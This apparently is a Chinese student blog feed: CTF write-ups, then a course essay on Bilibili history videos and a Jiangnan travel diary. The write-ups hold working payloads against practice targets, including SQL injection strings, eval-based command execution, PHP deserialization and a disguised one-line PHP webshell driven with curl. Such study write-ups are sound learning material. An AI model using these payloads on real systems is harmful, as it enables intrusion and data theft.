发现是 64 位 ELF
        ↓
strings 发现 Access Granted 和 Flag 字符串
        ↓
nm 找到 win 函数地址
        ↓
objdump 分析 vuln 函数
        ↓
发现 buffer 只有 64 字节，但 fgets 读取 200 字节
        ↓
计算偏移：64 + 8 = 72
        ↓
构造 payload：72 字节填充 + win 地址
        ↓
覆盖返回地址，跳转到 win
        ↓
获得 flag

`Cryptography`

1.`Double Trouble`

题目描述

We intercepted a suspicious encoded transmission during routine monitoring.

Analysts believe the message was processed through multiple transformation layers before being transmitted.

Can you recover the original message?

我们在例行监控中截获了一条可疑的加密传输信息。

分析人员认为，该信息在传输前经过了多层转换处理。

您能恢复原始信息吗？

附件：

526e4a7757584a756333737759544e66655452734d325666616a526d5957
64664d3245776148523166513d3d0a

解题思路

1‍⃣ 判断第一层编码 由于附件内容仅含：

0-9
a-f

且长度为偶数，所以可以判断它像十六进制编码 使用xxd解码：

cat encrypted.txt | tr -d '\n' | xxd -r -p

执行后得到：

RnJwWXJuc3swYTNfeTRsM2VfajRmYWdfM2EwaHR1fQ==

2‍⃣ 判断第二层编码： 第二层很轻易地判断出为base64，所以继续解码：

cat encrypted.txt | tr -d '\n' | xxd -r -p | base64 -d

得到：

FrpYrns{0a3_y4l3e_j4fag_3a0htu}

因为得到的结果开头不是SecLeaf，所以还要进行解码

3‍⃣ 第三层解码 试着对第三层的开头简单的替换：

F -> S
r -> e
p -> c
Y -> L
r -> e
n -> a
s -> f

推测替换规则为：

A ↔ N
B ↔ O
C ↔ P
...
a ↔ n
b ↔ o
c ↔ p
...

后面查AI，为ROT13

cat encrypted.txt | tr -d '\n' | xxd -r -p | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'

得到：

SecLeaf{0n3_l4y3r_w4snt_3n0ugh}

碎碎念

这场比赛应该是我参加的第一场有效比赛。为什么是有效呢？因为之前也参加过几场CTF比赛，但那时一是在寒假（我游戏瘾最大的一段时间），二是那时还停留在DeepSeek（也没有说ds不好用的意思），参与度就仅限于报名了。
报名这场比赛时我只是想着给我的周末“找事干”，同时还没有用GPT打过比赛，另外还有在过去大半年也断断续续学了点（真的只有一点），想着检测一下学习成果。有点不好意思的是，比赛刚开始时除了签到题我是自己做的外，其他题目都是直接用AI梭（虽然这后来看了下其中很多题也差不多属于签到题，连我这样的水平也能一眼看到解题思路）。“二战转折点”在Can_you_Find_Cafe出来后，我已经从最开始打比赛时追求排名的激情转向了“得把梭出来的题自己做一遍”，于是就尝试了一下那道社工题。（这是我们队成绩最好的一次了）

乱七八糟的WP

Fri, 15 May 2026 00:00:00 GMT

`Misc`

[SEETF 2023]1337 Word Search - NSSCTF

思路

先看题目描述：这是一个大型的字谜游戏。在网格中找到隐藏的flag，可以在八个方向中的任何一个方向（水平、垂直或对角线）找到。——可以猜测是一道单词搜索题
再看附件：文件解压后看见一大堆乱字符，于是我们看：
- 有没有图片？——没有，所以不是图片隐写
- 有没有压缩包？——没有，所以不是压缩密码
- 是不是编码？不像，因为没有规律且有{}与_，不像base64
- 同时也结合题目强调的grid（网格），说明：这些字符不是一整串，而应该按照二维矩阵理解
而flag格式给了：

SEE{}

所以核心思路就是：
1. 把整个文本按照“矩阵”处理
2. 从所有 S 开始搜索
3. 朝 8 个方向尝试读取字符串
4. 找到完整 SEE{...}

`EXP`

dirs = [
    (0,1),   # →
    (0,-1),  # ←
    (1,0),   # ↓
    (-1,0),  # ↑
    (1,1),   # ↘
    (-1,-1), # ↖
    (1,-1),  # ↙
    (-1,1)   # ↗
]

with open("wordsearch1.txt","r",encoding="utf-8") as f:
    grid = [line.strip() for line in f if line.strip()]

n = len(grid)
m = len(grid[0])

for i in range(n):
    for j in range(m):

        if grid[i][j] != 'S':
            continue

        for dx,dy in dirs:

            s = ""
            x,y = i,j

            for _ in range(100):

                if not (0 <= x < n and 0 <= y < m):
                    break

                s += grid[x][y]

                if s.startswith("SEE{") and s.endswith("}"):
                    print(s)

                x += dx
                y += dy

运行脚本后得到flag

SEE{you_found_me_now_try_the_1337er_one}

`Web`

[LitCTF 2023]我Flag呢？ - NSSCTF

思路

打开网站发现没有可交互的点，于是F12控制台审查元素
打开控制台后看到：

控制台（Console） 会输出页面资源报错信息/js的执行信息，同时也可以在这个交互式终端中执行js指令
彩蛋提示运行giveMeEgg()函数即可拿到彩蛋，所以：
但提交后发现不对😭,CTRL+U查看源码，CTRL+F进行搜索flag，在最下面的注释找到flag

[LitCTF 2023]导弹迷踪 - NSSCTF

思路

这是一个小游戏，而针对这种逻辑是基于js的页面游戏，要么采用按照题目要求玩到第六关得到flag，要么就修改或者查看源码寻找flag
F12查看源码，在搜索框搜索"level"，找到flag

[LitCTF 2023]就当无事发生 - NSSCTF

思路

题目提示：“差点数据没脱敏就发出去了”，同时结合博客网址于是去Github上搜索ProbiusOfficial
出现两条结果，查看后博客的源码应该在第二个
进入仓库后找到Commits（提交记录），因为在题目的版本数据中找到题目的上传时间为2023-05-02，于是将仓库的查询时间改为5月2日之前。
从查询结果我们发现，4月29日有两个提交记录，点进后一个提交记录可以看见修改

[LitCTF 2023]Follow me and hack me - NSSCTF

思路

使用HackBar插件来在浏览器里面进行发送/接收http报文

[SWPUCTF 2021 新生赛]easy_md5 - NSSCTF

思路

看代码

 if ($name != $password && md5($name) == md5($password)) {
        echo $flag;
} else {
        echo "wrong!";
}

这段代码的要求：

name与password不能一样，但二者的md5结果要相等但这时我们注意到PHP用的是弱比较而不是严格比较

利用magic hash PHP里如果长这样：

0e123456789

会被当成科学计数法：

0 * 10^123456789 = 0

所以在PHP弱比较里：

"0e12345" == "0e67890"

的结果为true

而有一些字符串的 md5 值刚好是 0e 开头，而且后面全是数字，这种就叫 magic hash。常见的一组是：

QNKCDZO -> 0e830400451993494058024219903391
240610708 -> 0e462097431906509019562988736854

得到flag

NSSCTF{6ee63399-6c66-42f3-9216-2980f9982e38}

常见 MD5 magic hash

原文	MD5
`QNKCDZO`	`0e830400451993494058024219903391`
`240610708`	`0e462097431906509019562988736854`
`s878926199a`	`0e545993274517709034328855841020`
`s155964671a`	`0e342768416822451524974117254469`
`s214587387a`	`0e848240448830537924465865611904`
`s1091221200a`	`0e940624217856561557816327384675`

[SWPUCTF 2021 新生赛]include - NSSCTF

思路

打开环境提示“传入一个file试试”，所以试着/?file=flag，然后得到源码

<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?>

接着又尝试/?file=flag.php，页面并没有变化

在源码的最后一行看到：

include_once($file);

有include_once函数，即它会执行flag.php但并不会显示出来flag

include_once 表示在脚本执行期间包含并运行指定文件。此行为和 include 类似，唯一区别是如果该文件中已经被包含过，则不会再次包含，且 include_once 会返回 true。顾名思义，require_once，文件仅仅包含（require）一次。

所以要用php://filter将flag.php读取出来

?file=php://filter/read=convert.base64-encode/resource=flag.php

意思是：

使用 PHP 的 filter 伪协议，
在读取 flag.php 的时候，
把 flag.php 的内容进行 Base64 编码，然后输出编码后的结果。

得到的Base64再转换成flag

[SWPUCTF 2021 新生赛]easy_sql - NSSCTF

思路

1‍⃣ 传参打开环境，结合“球球你输入点东西吧！”与标签页的“参数是wllm”，于是输入：

?/wllm=1

2‍⃣ 判断字段数：order by

/?wllm=1' order by 1 --+
/?wllm=1' order by 2 --+
/?wllm=1' order by 3 --+
/?wllm=1' order by 4 --+

当order by 4时，产生报错，说明字段数是3

3‍⃣ 查看回显点：union select 1,2,3

回显点： union select 1,2,3 里面，哪个数字会显示在网页上

/?wllm=-1' union select 1,2,3 -- '

所以要想查询数据库名就可以把database()放到第二位或者第三位

?/wllm=-1' union select 1,database(),3 --+
?/wllm=-1' union select 1,2,database() --+

为什么用-1?

因为用?wllm=1可能会查到正常数据
用?wllm=-1是为了先让网站原本的数据消失，再让它显示我们想查的数据

4‍⃣ 查询数据库信息：@@version

/?wllm=-1' union select 1,2,@@version -- '
/?wllm=-1' union select 1,@@version,3 -- '

@@version：是MySQL / MariaDB里的系统变量，用来显示数据库版本这一步的作用：确认数据库类型和版本如果是MySQL/MariaDB，就可以使用

information_schema
database()
user()
group_concat()

名称	作用	一般什么时候用
`database()`	查当前数据库名	早期，确定当前库
`user()`	查当前数据库用户	可选，了解权限
`information_schema.tables`	查表名	知道数据库后
`information_schema.columns`	查列名	知道表名后
`group_concat()`	多行合并成一行	查表名、列名、flag 时常用

5‍⃣查询库名和用户名：database()、user() 因为上一步已经确定为MariaDB，所以先使用database()查询当前数据库名

/?wllm=-1' union select 1,2,database() -- '

得到当前数据库名为：test_db——说明当前网站的数据在text_db中。又使用：

/?wllm=-1' union select 1,2,user() -- '

查到当前用户是：root@localhost——说明数据库的连接用户是root

6‍⃣ 爆表：查询有哪些表

/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'-- '

查出有两个表且将二者合并到一行显示：test_tb,users

group_concat(table_name)：把多个表名合并到一行显示 table_name：专门用来存放表名的目录 information_schema：记录了数据库的结构信息——有哪些数据库，每个数据库有哪些表，每个表有哪些列 select table_name from information_schema.tables：查出所有表的名字

7‍⃣ 爆列：查询表里有哪些字段

/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb' -- '

说明flag很可能就在test_tb表里

8‍⃣查flag

/?wllm=-1' union select 1,2,group_concat(flag) from test_tb -- '

9‍⃣总结

1. 看源码，找到参数 wllm
2. 用 order by 判断字段数
3. 用 union select 1,2,3 找回显位
4. 用 @@version 判断数据库类型
5. 用 database() 查当前数据库
6. 用 information_schema.tables 查表名
7. 用 information_schema.columns 查列名
8. 用 group_concat(flag) from test_tb 查 flag

[SWPUCTF 2021 新生赛]easyrce - NSSCTF

思路

1‍⃣ eval()是什么？ eval() 是 PHP 里的一个函数，作用是：把字符串当成 PHP 代码执行。 但是：eval()不能直接执行Linux命令

而要想执行Linux命令，需要调用system()函数

2‍⃣判断参数环境打开后很容易看出要传参/?url=；

3‍⃣查看根目录

?url=system("ls /");

查看服务器根目录下有什么文件其中，flllllaaaaaaggggggg很可疑

4‍⃣ 读取flag文件

?url=system("cat /flllllaaaaaaggggggg");

[SWPUCTF 2021 新生赛]ez_unserialize - NSSCTF

思路

1‍⃣ 检查页面源码并没有发现有用的信息，于是采用dirsearch后台扫描

dirsearch -u

扫描后看见robots.txt 进入robots.txt后得知存在/cl45s.php，于是进入该目录下打开该文件获得代码 2‍⃣代码分析 首先看开头：

error_reporting(0);
show_source("cl45s.php");

error_reporting(0) ：关闭报错显示。 show_source("cl45s.php") ：把当前 PHP 文件的源码显示出来。

接着定义了一个类：

class wllm{
    public $admin;
    public $passwd;
}

这个类里面有两个公开属性：

$admin
$passwd

构造函数如下：

public function __construct(){
    $this->admin = "user";
    $this->passwd = "123456";
}

当正常创建 wllm 对象时，默认属性是：

admin = user
passwd = 123456

但是在析构函数中，程序会判断：

if($this->admin === "admin" && $this->passwd === "ctf"){
    include("flag.php");
    echo $flag;
}

也就是说，只要对象里的属性满足：

admin = admin
passwd = ctf

程序就会包含 flag.php，并输出 $flag。

关键漏洞点在最后两行：

$p = $_GET['p'];
unserialize($p);

程序从 URL 参数 p 中获取内容，然后直接传给 unserialize() 反序列化。这就意味着我们可以自己构造一个序列化字符串，让服务器反序列化出一个 wllm 对象，并且让这个对象的属性变成：

admin = admin
passwd = ctf

这样脚本结束时会自动触发 __destruct()，从而输出 flag。

3‍⃣ PHP 序列化格式分析 PHP 中对象的序列化格式大概是：

O:类名长度:"类名":属性数量:{属性名;属性值;}

字符串的序列化格式是：

s:字符串长度:"字符串";

本题类名是：

wllm

长度是 4，所以开头写：

O:4:"wllm"

类里面有两个属性：

admin
passwd

所以属性数量是 2：

O:4:"wllm":2:

接下来写两个属性：第一个属性是 admin，属性名长度是 5，属性值也是 admin，长度也是 5：

s:5:"admin";s:5:"admin";

第二个属性是 passwd，属性名长度是 6，属性值是 ctf，长度是 3：

s:6:"passwd";s:3:"ctf";

所以完整 payload 为：

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

创建一个 wllm 对象；
这个对象有两个属性；
admin = "admin"；
passwd = "ctf"；

4‍⃣构造payload 原始 payload：

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

可以直接拼接到 URL 后面：

但是 URL 中有一些特殊字符，比如：

:
"
{
}
;

有时候浏览器或服务器解析时可能会出问题，所以进行 URL 编码。

URL 编码后的 payload：

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

[SWPUCTF 2021 新生赛]easyupload2.0 - NSSCTF

思路

1‍⃣打开环境看见的是要求传一个文件，于是上传一句话木马，同时又因为上传php文件显示“php是不行滴”，于是上传shell.phtml文件

GIF89a
<?php @eval($_POST['cmd']);?>

GIF89a是GIF的文件头。很多上传检测只会粗略看文件开头是不是图片格式，加上这个可以让文件看起来更像GIF图片 <?php @eval($_POST['cmd']);?>：从 POST 参数 cmd 里取一段 PHP 代码，然后执行

2‍⃣上传成功后网站显示

./upload/shell.phtml succesfully uploaded!

说明该文件被放到了

/upload/shell.phtml

3‍⃣因为上传的木马中写道：

$_POST['cmd']

所以必须用POST传一个cmd参数

curl -X POST "http://靶机/upload/shell.phtml" -d "cmd=system('ls');"

此处真正执行的就是

system('ls');

4‍⃣操作先在浏览器中访问木马地址

http://node4.anna.nssctf.cn:29689/upload/shell.phtml

# 测试木马能否执行命令
curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('pwd');"}

# 看当前目录有什么文件
curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('ls');"}

# 查看网站根目录文件
curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('ls /var/www/html');“}

# 查看flag文件
 curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('cat /var/www/html/flag.php');"}

成功读取flag.php文件得到flag

[LitCTF 2023]Ping - NSSCTF

“四史”结课论文

Mon, 11 May 2026 00:00:00 GMT

融媒体语境下“四史”题材短视频的青年化传播研究

——以B站“四史”主题视频作品为例

在当下媒介环境快速变化的背景下，短视频平台已经成为青年群体获取信息、接受思想教育的重要渠道。“四史”教育作为高校思想政治教育的重要内容，如何突破传统理论灌输模式，实现青年化、网络化、情感化传播，成为当前传播实践中的重要课题。相比传统纪录片、课堂宣讲等形式，短视频凭借节奏快、互动强、情绪浓度高等特点，更容易引发青年受众共鸣。近年来，哔哩哔哩平台（B站）大量“四史”题材视频的出现，也反映出主流价值传播正在向年轻化表达转型。

本文结合课程《“四史”融合传播实践》的相关内容，以B站“四史”主题视频作品为研究对象，重点分析其主题内容、表达形态与传播特点，并进一步探讨“四史”题材在新媒体环境中的传播规律及现实启示。

本文所分析的案例主要包括：

延音不止——智化寺京音乐的故事_哔哩哔哩_bilibili
无声骑手：你在生活中有遇到过聋人骑手吗？_哔哩哔哩_bilibili

同时结合B站平台“四史”相关内容生态进行综合分析。

一、“四史”题材短视频兴起的时代背景

所谓“四史”，即中国共产党史、新中国史、改革开放史和社会主义发展史。习近平总书记多次强调学习“四史”的重要意义，指出要通过“四史”教育坚定理想信念、增强历史自觉。

传统“四史”教育长期以课堂讲授、理论宣讲、纸质文本为主要传播形式。这种方式虽然具有理论深度，但对于互联网环境下成长起来的青年群体而言，存在传播形式相对单一、互动性不足的问题。尤其在“注意力经济”时代，青年受众更加偏好碎片化、视觉化、情绪化的信息表达。

与此同时，以B站、抖音为代表的视频平台迅速崛起。尤其B站用户以青年群体为主，形成了独特的“弹幕文化”“二创文化”与社区互动机制。在这种媒介环境中，“四史”传播逐渐从单向灌输转向情感共鸣，从宏大叙事转向个体叙事，从严肃说教转向青年化表达。

高校“四史”教育研究也指出，微视频传播能够有效增强青年学习兴趣，提升“四史”教育的参与度与实践效果。

因此，“四史”题材短视频的兴起，本质上是主流价值传播主动适应媒介变迁与青年文化变化的结果。

二、案例作品的主题内容分析

（一）从宏大历史转向“个体命运”叙事

传统“四史”传播往往强调重大历史事件与政治成就，而案例视频则更加注重普通人的命运表达。例如视频中大量采用青年革命者、普通民众、知识分子的成长故事，通过具体人物的经历折射时代变化。

这种叙事方式能够降低历史距离感。对于年轻观众而言，抽象的历史概念往往较难形成真实体验，但具体人物的情感、理想与牺牲则更容易引发代入感。

例如视频中对于青年革命者“理想与牺牲”的描绘，并不是单纯强调历史结果，而是突出其情感挣扎、青春热血与价值选择。这种处理方式实际上完成了历史人物的“人格化重建”，使青年观众能够将历史人物视为“与自己相似的人”，从而增强情感认同。

这种表达也体现出当前“四史”传播的重要趋势：即从“历史知识传播”逐渐转向“价值情感传播”。

（二）强化民族记忆与国家认同

案例作品虽然采用青年化表达，但核心主题始终围绕国家命运与民族复兴展开。

视频通过战争、革命、改革开放等历史片段，构建起中国近现代发展的历史逻辑。例如从民族危亡到革命觉醒，从国家独立到现代化建设，再到新时代发展成就，作品实际上完成了对“四史”内在逻辑链条的串联。

这种叙事并非简单罗列历史事件，而是强调“中国共产党为什么能”“中国特色社会主义为什么好”等核心价值命题。

值得注意的是，案例视频并未采用生硬口号式表达，而是通过人物命运、时代氛围、音乐渲染等方式，使观众在情绪共鸣中形成价值认同。

这种“润物细无声”的传播方式，比传统说教更符合当前青年群体的信息接受习惯。

（三）将历史教育与现实情感结合

案例视频并非停留于历史回顾，而是不断将历史与现实进行联系。例如通过字幕、剪辑节奏以及现实画面的穿插，引导观众思考“今天的幸福生活从何而来”。

这种“历史—现实”的连接，是“四史”传播中的重要逻辑。因为历史教育真正的目的，并不是让受众机械记忆历史事件，而是帮助其建立现实认知与价值判断。

因此，视频通过历史人物的牺牲与当代青年的生活形成对照，使观众在情感上形成“历史责任感”。

这种传播策略实际上强化了青年群体的国家认同与集体意识。

三、案例作品的表达形态分析

（一）影视化剪辑增强情绪感染力

案例视频大量采用影视化剪辑语言，例如快速转场、慢镜头、特写镜头、背景音乐渲染等。

这种表达方式明显区别于传统纪录片的“平铺直叙”。它更强调观众情绪的调动。

例如在革命场景中使用激昂音乐与高密度镜头切换，可以迅速提升情绪张力；而在人物牺牲片段中采用慢镜头与低沉音乐，则能够增强悲壮感。

这种“情绪优先”的传播逻辑，本质上符合短视频平台的传播规律。因为在信息爆炸时代，观众停留时间极短，只有迅速建立情绪刺激，才能提高传播效率。

从传播学角度来看，这种方式属于“情感传播”模式，即通过情绪唤起推动价值认同。

（二）弹幕文化增强互动传播

B站区别于其他视频平台的重要特征之一，就是弹幕互动。

在“四史”题材视频中，弹幕不仅是观看反馈，更是一种集体情绪表达。例如观众会发送“泪目”“这就是信仰”“今日中国如你所愿”等弹幕。

这种互动行为实际上形成了“情感共同体”。

传统思想政治教育通常是“单向传播”，而弹幕则让观众从被动接受转变为主动参与。观众在发送弹幕的过程中，也是在表达自身态度与价值立场。

因此，弹幕文化使“四史”传播具有了更强的参与性与社群属性。

（三）二次创作推动内容裂变

案例视频还体现出明显的“二创”特征。

许多“四史”视频并非官方制作，而是UP主基于影视剧、纪录片素材重新剪辑创作。这种方式降低了主流价值传播的“官方距离感”。

青年创作者使用网络流行语言、热门音乐、混剪技巧，使严肃历史题材更加贴近青年文化。

从传播效果来看，二创能够实现内容裂变。一部优秀视频往往会带动更多用户进行模仿、再创作与转发，从而形成持续传播。

这也说明，在融媒体时代，主流价值传播已经不再完全依赖传统媒体，而是逐渐形成“官方引导+民间参与”的传播模式。

四、案例作品的传播特点分析

（一）青年化表达成为核心趋势

案例最明显的特点，就是“青年化表达”。

所谓青年化，并不是简单使用网络语言，而是从青年受众的情感需求、审美习惯与媒介使用方式出发进行内容设计。

例如案例视频强调青春、理想、热血、奋斗等主题，这些内容本身就与青年群体的心理需求高度契合。

同时，视频节奏快、画面燃、音乐情绪强，也符合短视频时代的观看习惯。

因此，“四史”传播的成功，不仅取决于内容本身，更取决于表达方式是否能够进入青年语境。

（二）平台算法推动精准传播

B站平台具有较强的兴趣推荐机制。

当用户观看历史、军事、影视剪辑类内容后，平台会持续推荐相关“四史”视频。这种算法机制使“四史”内容能够精准触达目标群体。

同时，平台的点赞、收藏、投币、转发机制，也会进一步放大优质内容传播效果。

与传统电视传播相比，算法推荐能够突破时间与空间限制，实现更加个性化、精准化的价值传播。

（三）情感共鸣高于理论灌输

案例视频传播效果较好的原因之一，在于其更加重视情感共鸣。

过去部分“四史”教育容易陷入“概念化”“口号化”问题，而短视频则通过故事、音乐与人物塑造增强情绪感染力。

青年观众未必会因为理论说教而产生认同，但往往会因为一个人物、一句台词、一个镜头而受到触动。

因此，当代“四史”传播正在从“讲道理”转向“讲故事”。

而“故事化传播”恰恰是融媒体时代最有效的传播方式之一。

五、“四史”题材融媒体传播的现实启示

（一）主流价值传播必须适应媒介变革

案例说明，主流价值传播不能停留于传统模式，而必须主动进入青年聚集的平台。

如果“四史”传播仍然停留在单一课堂与纸质文本中，就很难真正影响互联网时代成长起来的青年。

因此，高校与主流媒体需要更加重视短视频、直播、互动社区等新媒介形式。

（二）历史传播需要增强情感表达

历史教育不仅是知识教育，更是情感教育。

案例视频之所以能够获得青年喜爱，核心就在于其成功调动了观众情绪。

这说明“四史”传播不应只有理论深度，也应具备情感温度。

只有让青年真正“感受到”历史，历史教育才能真正进入内心。

（三）青年用户既是受众，也是传播者

融媒体时代最大的变化之一，就是受众身份的转变。

青年用户不再只是信息接受者，同时也是内容生产者与传播者。

B站大量“四史”二创视频的出现，说明青年群体已经开始主动参与主流价值表达。

因此，未来“四史”传播不应只是“教育青年”，更应重视“激发青年表达”。

结论

通过对B站“四史”主题视频案例的分析可以发现，当前“四史”传播已经逐渐突破传统思想政治教育模式，形成了以青年化表达、情感化传播、互动化参与为核心的新传播路径。

案例作品通过人物化叙事、影视化剪辑、弹幕互动与二次创作等方式，实现了历史教育与青年文化的融合。这不仅增强了“四史”教育的传播效果，也说明主流价值传播正在适应融媒体时代的发展趋势。

同时，案例也揭示出“四史”传播的重要规律：
即在新媒体环境下，只有真正进入青年语境、理解青年情感需求、运用青年熟悉的表达方式，主流价值才能实现有效传播。

因此，未来“四史”融合传播实践应继续坚持内容价值与媒介创新并重，在保持思想深度的同时，不断探索更加符合青年传播规律的新表达方式，从而推动“四史”教育真正实现“入脑、入心、入行”。

参考文献

习近平：《学好“四史”，永葆初心、永担使命》(CCTV节目官网)
张守龙：《高校“四史”教育中微视频自拍竞赛教学法》(湖北开放职业学院)
李晓媛：《“四史”教育融合高校思政课教学的实践路径》(湖北开放职业学院)
B站“四史”主题视频案例分析：
- 无声骑手：你在生活中有遇到过聋人骑手吗？_哔哩哔哩_bilibili
- 延音不止——智化寺京音乐的故事_哔哩哔哩_bilibili

五一出游总结

Thu, 07 May 2026 00:00:00 GMT

你一句春不晚，我就到了真江南

前言

感谢CUC的五天读书周与五一连在一起放，上学期期末就想去江南玩，但一直没找到人陪我，刚好放假这段时间高一的妹妹要考试，索性让妈妈给她请假出来玩。
下面这个表格是原本的安排，但由于飞机提前、苏博没有约上等小差错，所以实际与攻略相差很大

日期	核心景点 / 行程	交通 / 门票建议	住宿
4.25	晚到上海浦东 → 打车去苏州	打车到酒店	苏州
4.26	拙政园 → 平江路历史街区	拙政园门票可提前订	苏州
4.27	苏州博物馆 → 金鸡湖景区	金鸡湖景区免费，博物馆免费或提前预约可节省排队	苏州
4.28	上午自由 → 下午前往周庄	周庄门票可提前订	周庄
4.29	周庄晨景 → 早上出发去杭州	周庄 → 杭州高铁或包车约2小时	杭州
4.30	西湖（断桥 → 苏堤 → 白堤 → 花港观鱼 → 雷峰塔）	雷峰塔门票提前订，西湖游船可提前预约	杭州
5.1	九溪烟树 → 龙井村茶园 → 云栖竹径	九溪/龙井门票可现场买，打车或包车半天游	杭州
5.2	杭州 → 上海 → 外滩 → 南京东路/城隍庙	杭州 → 上海虹桥高铁票提前订，上海地铁/打车	飞机返程
晚上	飞机返程	—	—

新的时间线

日期	安排	住宿
4.25	从北京出发飞往上海/上海南京路到外滩的`citywalk`/苏州七里山塘	苏州
4.26	拙政园/游船/苏大独墅湖校区/独墅湖/平江路	苏州
4.27	坐火车去南京/夫子庙、秦淮河	南京
4.28	大报恩寺/先锋书店/玄武湖/德基广场	南京
4.29	坐火车去杭州/雨西湖	杭州
4.30	西湖/武林夜市	杭州
5.1	九溪烟树/云栖竹径	杭州
5.2	坐火车去上海/坐飞机回北京

4.25——苏州、上海

✈

首先是上午五点半就起床😧（也是见过凌晨五点的北京的人了），六点坐上前往首都T3航站楼的网约车。原本挺担心晕车的，不过运气比较好，叔叔人很好并且车里没有异味，是让人很舒服的香水味。然后是第一次办行李托运，走进看才发现是自助托运。
在等待飞机与飞机上赶在ddl前写完了概率论作业~~虽然看起来很潦草，实际上也很潦草~~ :::div{.travel-gallery data-count="3"}

:::

⬆🌊

谁懂我出机场后看见我妹妹穿着云天化校服出门旅游的震惊
匆匆参考了下B站，打算先在上海见识一下大城市
南京路步行街——外滩
- 逛了大白兔、名创优品壹号店还有些别的，走了很久终于到了外滩，因为走不动了就没有坐船过河，拍了几张外滩风景就去苏州了

:::div{.travel-gallery data-count="3"}

:::

一位很漂亮的coser，原相机都这么美😍

:::div{.travel-gallery data-count="2"}

:::

苏州——七里山塘

下午六点到达苏州，放完行李后前往七里山塘附近吃晚饭——苏式火锅，但我还是更喜欢四川的火锅😄

:::div{.travel-gallery data-count="2"}

:::

地区差异还是挺大的，我记得老家那边的火锅汤底是端来就已经很香了，但苏州的、北京的好多是用白开水或者吃到最后那个汤才好喝😭，想回家了
吃完就在那里逛七里山塘，走了半天才发现还没有进山塘街。苏州的特色真的很明显——走三步问你买不买茉莉花手串，走五步问你拍不拍照，走十步问你做不做妆造、穿不穿旗袍。妹妹花了45买了杯茉莉花奶茶，真材实料，不过喝起来和伯牙绝弦差不多

:::div{.travel-gallery data-count="3"}

:::

山塘街的夜景，一种很标准的想象中的江南夜景。老家也在江边，但那条金沙江有点宽，没有"小桥流水人家"的小巧的感觉，是"大河向东流啊，天上的星星参北斗啊"（《好汉歌》）的豪放~~？应该是这样形容的，请原谅我文笔不太好😅~~

:::div{.travel-gallery data-count="2"}

:::

0426——苏州

拙政园

原本以为没到五一人应该不多，没想到周末也是人挤人，"上有天堂，下有苏杭"果然名不虚传。挤了好久终于进去了。拙政园应该是好看的，但我是个俗人，不懂其中的奥妙，也拍不出来。贴几张图片（有的是别人拍的）

:::div{.travel-gallery data-count="7"}

:::

游船

逛完后原本打算去附近的平江路吃东西，但途中碰见一位热情的拉车师傅，他推荐我们先去坐游船环苏州城、听评弹，很心动。
苏州评弹，雅！👍

:::div{.travel-gallery data-count="2"}

:::

苏大独墅湖校区

去之前听说苏大的天赐庄校区很好看，遗憾的是没有约上，但在yqh同学的远程指导下，光明正大地"混"进了独墅湖校区——和中传完全不一样，他们的湖是天然的、很大，校区也好大，不敢想这只是苏大的其中一个校区；不过话又说回来，在北京中传这个大小也不赖

独墅湖

同学推荐我去看一下独墅湖，刚好过去的时候碰上太阳下山，这个时候又遗憾我没有多背几句诗了

:::div{.travel-gallery data-count="6"}

:::

我真的好喜欢独墅湖

平江路

平江路没有七里山塘那么拥挤，它的路也比较窄
东西好吃

:::div{.travel-gallery data-count="1"}

:::

一家猫咖里的猫跑到了房檐上坐着，好！可！爱！

:::div{.travel-gallery data-count="1"}

:::

0427南京

在原本的计划中是没有南京的，但是看了下苏州好像已经没什么好玩的了，周庄也不想去，于是打算去看看好朋友说的南京到底有多不好玩
另外，早上应该是12点才出酒店，然后坐了大概两个小时的火车，到南京已经下午两点半了，等收拾差不多再出酒店已经是下午五点

夫子庙、秦淮河

没什么好逛的，夫子庙和其他商业街很像。南京的雨花石倒是好看，但是不知道是真的石头还是塑料
秦淮河有游船，但看起来和苏州也很像，然后也没去
拍了几张建筑，吃的李百蟹蟹黄面，好吃

:::div{.travel-gallery data-count="7"}

:::

0428南京

大报恩寺遗址

总的来说，大报恩寺感觉文物其实不是很多，毕竟只是一个遗址，但里面有的很漂亮

:::div{.travel-gallery data-count="7"}

:::

先锋书店

:::div{.travel-gallery data-count="3"}

:::

那个鱼还挺好吃的，左下角的汤叫“黛玉传花”

:::div{.travel-gallery data-count="1"}

:::

玄武湖

南京一整天都在下雨，特别冷。进玄武湖景区，感觉和金沙江有点像，然后就走了（其实是走不动了）
看同学给我发的图片，就是一个湖，没什么好看的

德基广场

几千万的厕所果然名不虚传

0429杭州西湖

就因为好朋友告诉我“晴西湖不如雨西湖”，我在几度的天气穿着短袖走在雨中😭
不过确实挺美的，并且雨天人也少，没排多久就拍到了“绿野仙踪”

:::div{.travel-gallery data-count="7"}

:::

:::div{.travel-gallery data-count="1"}

:::

0430杭州西湖

“淡妆浓抹总相宜”，终于明白为什么那么多写西湖的诗歌了

:::div{.travel-gallery data-count="16"}

:::

0501杭州九溪烟树、云栖竹径

九溪烟树比较推荐没怎么见过山的人去玩，一座环境很好的山——山青、水秀、虫也多😧

:::div{.travel-gallery data-count="3"}

:::

云栖竹径是一片很大的竹林，推荐宜宾的竹海——更大的一片竹林；初三有幸去玩过，累的够呛

:::div{.travel-gallery data-count="2"}

:::

写在后面

写这篇文章，一是想梳理一下五一的行程、给自己留个回忆，毕竟跑得挺累的；二是这个站点之前没有尝试过在文章里面添加图片；意外的收获是整理了手机相册。另外，蟹黄面和江南糖水真的很好吃
以后还想去拉萨、香格里拉……

